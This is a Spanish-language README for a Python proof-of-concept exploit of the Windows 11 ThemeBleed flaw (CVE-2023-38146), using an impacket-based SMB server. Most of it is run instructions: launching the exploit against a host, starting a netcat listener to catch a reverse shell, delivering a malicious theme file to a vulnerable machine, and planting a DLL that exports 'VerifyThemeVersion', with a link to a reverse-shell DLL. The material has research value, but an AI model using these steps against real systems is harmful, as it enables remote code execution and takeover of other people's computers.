
PoC para el ThemeBleed de Windows 11 CVE-2023-38146 escrito en Python usando impacket. https://jnns.de/posts/cve-2023-38146-poc/
Muy inspirado en https://github.com/gabe-k/themebleed, que solo se ejecuta en Windows (la razón por la que decidí escribir esto).
Se usó código modificado del smbserver.py de impacket (https://github.com/fortra/impacket/blob/master/impacket/smbserver.py)
Cosas útiles: https://github.com/TalAloni/SMBLibrary/blob/master/SMBLibrary/NTFileStore/Enums/NtCreateFile/ShareAccess.cs
Entrada del blog: https://jnns.de/posts/cve-2023-38146-poc/
Instala los requisitos y ejecuta la aplicación:
pip3 install -r requirements.txt
python3 themebleed.py -r HOST -p 4711
# start nc listener in other shell
rlwrap -cAr nc -lvnp 4711
Usa el "evil_theme.theme" o "evil_theme.themepack" en una máquina vulnerable.
¡Beneficio!
Coloca un archivo DLL con una función exportada "VerifyThemeVersion" en la carpeta "./td/" llamado "Aero.msstyles_vrf_evil.dll". Deberías poder encontrar un archivo DLL de ejemplo buscando en Google o usar mi ejemplo https://github.com/Jnnshschl/ThemeBleedReverseShellDLL.
pip3 install -r requirements.txt
python3 themebleed.py -r HOST --no-dll
# start nc listener in other shell
rlwrap -cAr nc -lvnp 4711